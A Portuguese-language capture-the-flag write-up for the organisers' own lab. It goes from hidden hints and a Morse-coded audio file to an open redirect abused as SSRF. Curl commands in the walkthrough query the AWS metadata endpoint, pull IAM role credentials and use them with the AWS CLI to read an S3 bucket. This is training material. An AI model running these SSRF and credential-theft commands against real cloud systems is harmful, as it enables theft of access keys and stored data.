Essa é a resolução de um desafio que disponibilizamos para comunidade no dia 24/04/2020, envolvendo várias técnicas de exploração, desde o reconhecimento passando pela exploração web e pós-exploração.

Recon

Lembre-se sempre, o reconhecimento é uma das partes mais importantes durante o processo de invasão, vamos ao nosso recon:

O desafio iniciava com uma simples URL:

https://heart.labdepentest.com.br/

Ao abrir o site no navegador, exibia simplesmente uma tela branca:

- Print dela inicial

Então, como todo bom hacker, você deve saber que sempre tem algo no código fonte, vamos pra lá então:

Temos um comentário:

“Escute o seu coração ele pode parar a qualquer momento”.

Pode parecer apenas uma mensagem motivacional, mas não, era uma dica.

Então, agora você deve pensar “Como eu posso escutar meu coração?”, com um estetoscópio? Com um arquivo? Como?

Ao acessar o arquivo robots.txt, nós tínhamos a mesma frase, seguida de uma dica:

- Arquivo robots.txt com dica

Se você começou rodando o dirb igual maluco, começou errado 😀

Vamos lá, a dica foi "pense em um arquivo .mp3"

Até então temos, "Escute seu coração ele pode parar a qualquer momento, arquivo mp3, não literalmente escutar o coração".

Com essas dicas já sabemos que se trata de um arquivo de áudio sobre o coração, então vamos aos testes:

Crie uma arquivo com uma lista de todas as possibilidades e use o wfuzz pra testar :p

Lista:

corona
covid-19
heart
coracao
coração
ataquecardiaco
coracaoparado

Usando uma lista de possibilidades + wfuzz temos o seguinte resultado 🤯:

arquivo: coracao.mp3

então vamos a URL: https://heart.labdepentest.com.br/coracao.mp3

O som desse arquivo era um “beep” freneticamente acelerado, se você conhece um pouco de sons e transmissão analogia, sabe que beep tem tudo a ver com código morse.

Porem esse áudio está muito acelerado para pegar os códigos, então você poderia diminuir a velocidade ou simplesmente analisar o espectro do som.

Ao abrir o arquivo no Audacity, podemos ver o espectro do áudio, em uma análise direta fica simples em identificar que as faixas longas estão representando os (-) “Traços” e as faixas curtas os (.) “Pontos”.

Na imagem acima teríamos algo como:

-..-. - .... .. ... ..

Se você fizer a análise completa do espectro chegaria no código morse completo:

-..-. - .... .. ... .. ... .- ... . -.-. .-. . - -.. .. .-. . -.-. - --- .-. -.—

Poderíamos usar a tabela do Código Morse Internacional para fazer a transcrição do áudio.

Usando a tabela acima teríamos a transcrição do código para:

-..-. - .... .. ... .. ... .- ... . -.-. .-. . - -.. .. .-. . -.-. - --- .-. -.—

/THISISASECRETDIRECTORY

Opa, é a representação de um “diretório secreto” na aplicação, vamos lá então!

Level 2

Chegamos então ao “Level 2”.

Nessa página existe somente esse texto e nada mais...

Enum

Vamos de wfuzz, vou usar a lista common lá do SecList.

(https://github.com/danielmiessler/SecLists/blob/master/Discovery/Web-Content/common.txt)

Dessa vez nosso wfuzz está com parâmetro --hc (não exibir as URL's com código 404)

Nosso scan terminou e já temos algumas dicas, uma rota "adm" e um arquivo index.html

Ps: "Os arquivos com 403 são falsos positivos gerados pelo cloudflare :)"

No arquivo index.html é o texto que já vimos "Level 2" e na rota "adm" é feito um redirecionamento para o arquivo login.php com alguns parâmetros:

Agora temos a seguinte URL:

http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://heart.labdepentest.com.br//THISISASECRETDIRECTORY/adm/

Essa etapa muita gente se perdeu, ficou focado na autenticação em si, mas não notou os mínimos detalhes (já vamos voltar neles).

Nessa página fake de autenticação do facebook, se você digitar o login "admin" e senha "admin", você tem acesso ao painel "administrativo que não tem nada", apenas uma mensagem dizendo "Você está dentro".

Painel administrativo

Como aqui não tem nada, vamos voltar a analisar os mínimos detalhes.

Ao acessar o site na URL: http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/

Você é redirecionado para:

http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://heart.labdepentest.com.br//THISISASECRETDIRECTORY/adm/

Se você tonar, temos um parâmetro "REDIRECT" que contem uma URL de retorno após a autenticação.

Como eu sei disso ? 😎

Basta alterar a URL para outra qualquer, como https://www.google.com/ e veja a magica.

http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=https://www.google.com

Como você já estava logado, apenas foi redirecionado para o Google e nada aconteceu, isso é o que você acha neah ?

Primeiro passo: Vamos analisar o que está acontecendo no navegador.

Abrir o modo desenvolvedor (f12 ou botão direito e inspecionar elemento)

Realmente, temos apenas um redirect para o Google...

E agora, o que fazer ? 😭

Exploiting

Como o redirecionamento acontece logo após a autenticação, o que será que acontece com a URL logo após digitar as credenciais?

Pra isso, vamos para o terminal 😈

Se você analisar o formulário da página, vai notar que tem dois campos, "username" e "password", fazendo uma requisição POST, então vamos simular essa requisição via CLI.

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://heart.labdepentest.com.br//THISISASECRETDIRECTORY/adm/

Como podemos ver, a página retornada é a mesma (tela de login) mesmo acertando a senha, interessante...

Vamos fazer um teste trocando o parâmetro redirect por outro, como google:

Woww, olha só, temos a resposta 200 do server, porém o conteúdo é do site do Google !!!

Temos algumas possibilidades aqui, RFI (Remote File Inclusion) e SSRF (Server Side Request Forgery).

Eu sei que várias pessoas testaram RFI e provavelmente não funcionou, eu tinha desabilitado as funções que permitem executar comandos dentro do servidor, até porque o objetivo do CTF era o SSRF 😝

Vamos testar nosso SSRF, podemos usar o site https://beeceptor.com/ para nos ajudar a validar a falha:

Primeira coisa é dar um nome para o seu endpoint:

Depois de criado seu endpoint é só usar e ser feliz analisando as requisições rsrs

Nosso endpoint é https://crowsec.free.beeceptor.com , vamos adicionar ele no nosso request e ver se funciona rsrs

Então temos agora o seguinte comando:

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=https://crowsec.free.beeceptor.com

E depois de executar o comando, podemos ver que realmente teve uma requisição do servidor, ou seja, temos um SSRF :p

Agora como podemos usar isso a nosso favor ?

Vamos tentar identificar o IP da máquina que está rodando o sistema, podemos se aproveitar da falha e fazer uma requisição para ipinfo.io/ip, essa API vai informar o endereço IP do servidor.

Nosso comando fica algo como:

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=https://ipinfo.io/ip

E temos o resultado:

Opa, o endereço IP é 3.16.188.9, com o mesmo site ipinfo.io, podemos ver mais informações sobre o IP.

então acessamos ipinfo.io/3.16.188.9

Se trata de uma máquina EC2 hospedada na AWS, interessante.

Podemos verificar se temos acesso direto ao servidor.

Temos sim, mas isso não vai afetar nossa continuidade, seria prudente fazer um scan nessa IP para ver se não tem outras portas abertas, mas esse write-up já está grande de mais 😉

Vamos para a próxima brincadeira, um SSRF na AWS me lembra um vazamento de dados aí, tá ligado ?

2019 Capital One Cyber Incident | What Happened | Capital One
Get more information about the Capital One cyber incident and its impact. Learn about what happened and what to do next.

Não sei se você tá ligado, mas essa empresa sofreu um vazamento de dados por conta de uma falha de SSRF na AWS também...

Post-Exploiting

Na grande maioria dos serviços de nuvem, existe um recurso chamado de metadata, geralmente está atrelado a um IP dentro da rede, algo como:

DigitalOcean: http://169.254.169.254/metadata/v1/hostname

AWS: http://169.254.169.254/latest/meta-data/

Google: http://metadata.google.internal/

O recurso de metadata funciona apenas dentro da rede onde está hospedado a sua VM/Aplicativo.

Com acesso a esse recurso é possível obter informações sobre a VM/Aplicativo atual, politicas de acesso, credenciais, tokens de API e muito mais.

Podemos fazer um teste para o serviço de metadata da AWS, já que estamos lá.

Então nossa URL ficaria algo como:

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://169.254.169.254/latest/meta-data/

E temos como resultado a resposta do serviço de metadata da AWS:

Podemos verificar um por um "recomendo", assim você terá uma boa base sobre como o ambiente está configurado.

Vamos para o que interessa, credenciais de API!

Ao ler a documentação da AWS

https://docs.aws.amazon.com/AWSEC2/latest/UserGuide/iam-roles-for-amazon-ec2.html, identificamos que é possível obter os níveis de acesso da máquina que estamos realizando esse ataque e então pegar os tokens.

Na documentação diz que essas informações ficam em /iam/security-credentials

Vamos ao nosso comento completo:

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://169.254.169.254/latest/meta-data/iam/security-credentials

E como resultado identificamos o nome da regra IAM atrelada a máquina EC2:

Agora que sabemos o nome da regra IAM atrelada ao máquina do EC2, podemos obter os acessos as chaves de API, pra isso basta adicionar o nome da regra ao final da URL, algo como: http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-READ-S3

EC2-READ-S3 = Nome bem sugestivo não é mesmo ?

Agora temos o comando:

curl --data "username=admin&password=admin" http://heart.labdepentest.com.br/THISISASECRETDIRECTORY/adm/login.php?redirect=http://169.254.169.254/latest/meta-data/iam/security-credentials/EC2-READ-S3

Agora temos as chaves de acesso a console administrativa da AWS, nesse caso especifico essa credencial só tem acesso de leitura no S3, no caso da Capital One, essa credencial tinha FULL Access na AWS, ou seja, com essa chave de API o hacker (ou melhor, a hacker) podia fazer qualquer coisa lá dentro...

Bom, agora que temos as credenciais, vamos configurar ela na CLI da AWS e usar :p

Se você não tem instalado, pode usar o tutorial aqui: https://docs.aws.amazon.com/cli/latest/userguide/install-linux.html

Para usar as credenciais, podemos usar as variáveis de ambiente:

AWS_ACCESS_KEY_ID

AWS_SECRET_ACCESS_KEY

AWS_SESSION_TOKEN

Vamos aos comandos:

Depois que inserimos o token nas variáveis de ambiente, podemos fazer uma requisição para o ambiente utilizando a CLI da AWS normalmente.                 Vamos listar os buckets do S3.

aws s3 ls

Podemos ver que o comando funciona normalmente, agora podemos entrar e explorar as pastas, na pasta "cw-syn-[...]-us-east-2" não tem nada, porem na pasta "collision", temos um arquivo flag.png.

Para listar o conteúdo da pasta podemos usar o comando

aws s3 ls s3://nome-do-bucket

algo como:

aws s3 ls s3://collision/

Depois de entrar na pasta /collision/ctf, temos um arquivo flag.png, então eu copiei o arquivo pro meu kali usando o comando cp.

Ao abrir a imagem, ela parece estar corrompida:

Porém o file, afirma que é um arquivo de imagem PNG:

O próximo passo que podemos testar é analisar a imagem com o strings e ver se tem algo escondido nas entrelinhas...

E tinha mesmo, no final do arquivo, tinha a mensagem:

e agora seu coração para, seguido de um código morse:

"-.-. ...{.. --_-.-. .-.. --- ..- -.._... ... .-. ..-._.... .- -.-. -.- . .-.}"

Com instruções de envio:

"Envie a flag para meu e-mail com o titulo "CTF - Completo": [email protected]".

agora está mais simples que áudio pra traduzir o morse neah ?

Porém, note que tem uns "{" e "_" no meio, então você deve fazer a transcrição manual em partes.

E então teríamos a nossa flag:

cs{im_cloud_ssrf_hacker}

O primeiro a encontrar a FLAG foi o Jonatas Fil as 25/04/2020 - 05:29 AM

LinkedIn do Jonatas:
https://www.linkedin.com/in/jonatasfil/